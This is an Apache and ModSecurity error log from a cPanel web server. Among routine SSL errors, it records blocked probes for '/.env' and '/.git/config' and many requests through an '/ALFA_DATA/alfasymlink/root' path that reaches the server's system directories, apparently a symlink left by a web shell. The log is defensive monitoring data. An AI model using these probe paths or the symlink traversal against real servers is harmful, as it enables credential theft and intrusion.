[Sun Oct 25 02:46:08.943535 2026] [security2:error] [pid 2775684:tid 2775684] [client 136.70.179.115:15378] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2lsAanevcJbML2UkvnWAAAAAU"]
[Sun Oct 25 02:46:10.422753 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 34.231.45.47:65250] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:46:18.408737 2026] [ssl:error] [pid 2781524:tid 2781524] (5)Input/output error: [client 184.72.84.154:64152] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:46:26.616024 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.206.212.24:65444] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:46:30.573980 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 18.205.91.101:44976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:46:34.834108 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 34.205.163.103:4174] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:46:50.386244 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.147.182.90:39973] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:46:54.404189 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 100.29.107.38:35790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:46:58.731560 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 18.205.91.101:59360] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:47:02.636590 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 52.204.71.8:39992] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:47:10.386559 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.194.139.149:3825] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:47:14.469721 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.225.87.80:2560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:47:18.441782 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.204.12.115:45439] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:47:18.516105 2026] [security2:error] [pid 2781481:tid 2781481] [client 185.191.171.8:35964] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/nodejs-18.20.8/CODE_OF_CONDUCT.md"] [unique_id "at2l9i7GhhaIo05efijCTgAAAAc"]
[Sun Oct 25 02:47:18.516149 2026] [security2:error] [pid 2781481:tid 2781481] [client 185.191.171.8:35964] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/nodejs-18.20.8/CODE_OF_CONDUCT.md"] [unique_id "at2l9i7GhhaIo05efijCTgAAAAc"]
[Sun Oct 25 02:47:22.850413 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 98.83.226.125:2446] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:47:26.419997 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 100.29.155.89:43303] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:47:30.405968 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 3.225.45.252:29894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_generic/uevent
[Sun Oct 25 02:47:42.611104 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 34.225.138.57:14711] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:47:46.431601 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.222.190.107:54289] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:48:02.461156 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 54.221.203.24:31361] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:48:06.579585 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.90.73.206:58965] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:48:14.448845 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 52.204.37.237:12305] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:01/PNP0F13:00/subsystem/drivers/battery/uevent
[Sun Oct 25 02:48:22.465943 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 18.213.240.226:39019] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:48:23.437208 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 185.191.171.2:19744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:48:26.494984 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 23.23.180.225:52436] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:48:34.743726 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 3.229.164.203:32295] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:48:42.523688 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 34.225.87.80:3175] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:48:49.885165 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 185.191.171.19:52852] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/partial
[Sun Oct 25 02:48:50.568947 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 100.29.160.53:10251] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:48:54.518972 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 35.169.119.108:24270] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:48:54.519180 2026] [security2:error] [pid 2781523:tid 2781523] [client 35.169.119.108:24270] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0501:00/modalias"] [unique_id "at2mVtxXWZMI2DaSlsHwAwAAABY"]
[Sun Oct 25 02:48:54.519211 2026] [security2:error] [pid 2781523:tid 2781523] [client 35.169.119.108:24270] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0501:00/modalias"] [unique_id "at2mVtxXWZMI2DaSlsHwAwAAABY"]
[Sun Oct 25 02:48:58.481087 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 3.225.45.252:41442] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:06.729384 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 44.220.2.97:49040] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:10.559590 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.202.52.82:7506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:14.491574 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 98.83.94.113:42113] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:18.673331 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.2.58.41:15266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:22.694496 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 52.22.87.224:11700] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:26.496572 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 100.29.34.97:5205] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:30.632306 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.45.92.83:52282] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:38.533137 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 185.191.171.12:60058] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:41.051993 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 185.191.171.14:64526] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:42.728694 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 50.16.216.166:59017] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:51.121862 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 50.19.79.213:2440] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:54.609766 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.5.242.243:31009] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:49:58.649103 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 52.2.4.213:19925] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:50:04.178052 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.4.76.156:53203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:50:14.678084 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 98.84.200.43:46198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:50:18.656453 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.236.185.101:53869] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:50:27.017033 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 185.191.171.11:34490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/slab_size
[Sun Oct 25 02:50:34.682821 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.22.64.232:27169] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:50:36.849375 2026] [security2:error] [pid 2781030:tid 2781030] [client 130.12.180.163:22232] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2mvLQKh4dfs72fmHxvBwAAAAE"]
[Sun Oct 25 02:50:36.849640 2026] [security2:error] [pid 2781030:tid 2781030] [client 130.12.180.163:22232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2mvLQKh4dfs72fmHxvBwAAAAE"]
[Sun Oct 25 02:50:36.850010 2026] [security2:error] [pid 2781030:tid 2781030] [client 130.12.180.163:22232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2mvLQKh4dfs72fmHxvBwAAAAE"]
[Sun Oct 25 02:50:38.559526 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 44.207.207.36:33935] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:50:49.060072 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 85.208.96.211:62128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/order
[Sun Oct 25 02:50:50.538088 2026] [ssl:error] [pid 2775684:tid 2775684] (22)Invalid argument: [client 100.24.149.244:33750] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:50:57.572016 2026] [security2:error] [pid 2781030:tid 2781030] [client 130.12.180.163:62120] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2m0bQKh4dfs72fmHxvCAAAAAE"]
[Sun Oct 25 02:50:57.572245 2026] [security2:error] [pid 2781030:tid 2781030] [client 130.12.180.163:62120] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2m0bQKh4dfs72fmHxvCAAAAAE"]
[Sun Oct 25 02:50:57.572548 2026] [security2:error] [pid 2781030:tid 2781030] [client 130.12.180.163:62120] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2m0bQKh4dfs72fmHxvCAAAAAE"]
[Sun Oct 25 02:51:22.544999 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 44.205.120.22:10367] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/subsystem/uevent
[Sun Oct 25 02:51:26.399896 2026] [security2:error] [pid 2781030:tid 2781030] [client 130.12.180.171:41030] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2m7rQKh4dfs72fmHxvCQAAAAE"]
[Sun Oct 25 02:51:26.400186 2026] [security2:error] [pid 2781030:tid 2781030] [client 130.12.180.171:41030] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2m7rQKh4dfs72fmHxvCQAAAAE"]
[Sun Oct 25 02:51:26.400527 2026] [security2:error] [pid 2781030:tid 2781030] [client 130.12.180.171:41030] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2m7rQKh4dfs72fmHxvCQAAAAE"]
[Sun Oct 25 02:51:26.689552 2026] [security2:error] [pid 2781524:tid 2781524] [client 54.152.163.42:45231] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/drivers/ac/"] [unique_id "at2m7oHtOs-nfC4GshpQzAAAABc"]
[Sun Oct 25 02:51:26.689597 2026] [security2:error] [pid 2781524:tid 2781524] [client 54.152.163.42:45231] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/drivers/ac/"] [unique_id "at2m7oHtOs-nfC4GshpQzAAAABc"]
[Sun Oct 25 02:51:29.855187 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 185.191.171.2:21070] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/free_calls
[Sun Oct 25 02:51:34.795942 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 54.225.81.20:62656] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:51:38.570971 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 98.82.59.253:33848] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:51:46.560794 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.215.231.15:38171] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:51:55.456164 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.83.23.103:57031] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:51:58.671801 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 100.24.167.60:11440] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:52:02.608936 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.235.191.179:14928] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:52:06.710231 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 54.197.114.76:43341] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:52:11.057998 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.219.80.71:14679] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:52:26.577709 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 18.215.49.176:43429] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:52:50.672085 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 85.208.96.200:15282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_ctx/align
[Sun Oct 25 02:52:50.789844 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 54.221.203.24:12946] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:52:51.977173 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 85.208.96.209:15934] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:52:59.000257 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 34.233.219.155:14373] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:53:03.462435 2026] [authz_core:error] [pid 2781481:tid 2781481] [client 34.198.189.65:27423] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 02:53:06.715809 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 50.16.216.166:13504] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:53:20.080406 2026] [security2:error] [pid 2781524:tid 2781524] [client 170.106.192.208:45594] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/PHPMailer/"] [unique_id "at2nYIHtOs-nfC4GshpQ0AAAABc"]
[Sun Oct 25 02:53:26.759378 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.84.147.79:6316] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:53:34.409861 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 185.191.171.4:47806] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:53:34.712215 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 54.225.98.148:23489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:53:36.604261 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 185.191.171.3:65532] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:53:44.170304 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 44.212.145.46:3446] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:53:54.708049 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 35.173.18.61:36822] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:53:58.856462 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 44.215.235.20:3114] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:54:02.717054 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 35.169.119.108:39145] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:54:06.767970 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 52.23.112.144:63069] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:54:10.697118 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 3.226.34.98:47290] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:54:14.887860 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.230.69.161:7639] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:54:18.883742 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 3.235.215.92:24294] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:54:22.669086 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 18.213.70.100:8011] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:54:26.385757 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.4:46648] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCPv6/slab_size
[Sun Oct 25 02:54:26.746900 2026] [ssl:error] [pid 2781481:tid 2781481] (5)Input/output error: [client 52.201.155.215:3563] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:54:30.876559 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 3.94.157.25:18634] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:54:42.054826 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 185.191.171.11:12634] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:55:10.736854 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.208.146.193:48986] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:55:21.289293 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 185.191.171.12:29528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/destroy_by_rcu
[Sun Oct 25 02:55:26.625678 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 52.2.4.213:53235] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:55:38.509100 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 54.90.244.132:1416] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:55:42.419023 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 184.73.35.182:1833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:55:46.487308 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.85.109.140:44136] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:55:50.467593 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 52.54.15.103:20261] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:56:06.213123 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.225.45.252:52776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:56:10.419334 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 98.84.200.43:36501] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:04.0/resource4_wc
[Sun Oct 25 02:56:46.373198 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.193.102.198:34736] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:57:02.178901 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 54.91.122.193:16280] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:57:06.213817 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 54.80.185.200:3053] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 02:57:14.722103 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 185.191.171.6:25622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/order
[Sun Oct 25 02:57:19.040303 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 18.210.58.238:58782] AH02013: coalesce failed to read from data bucket
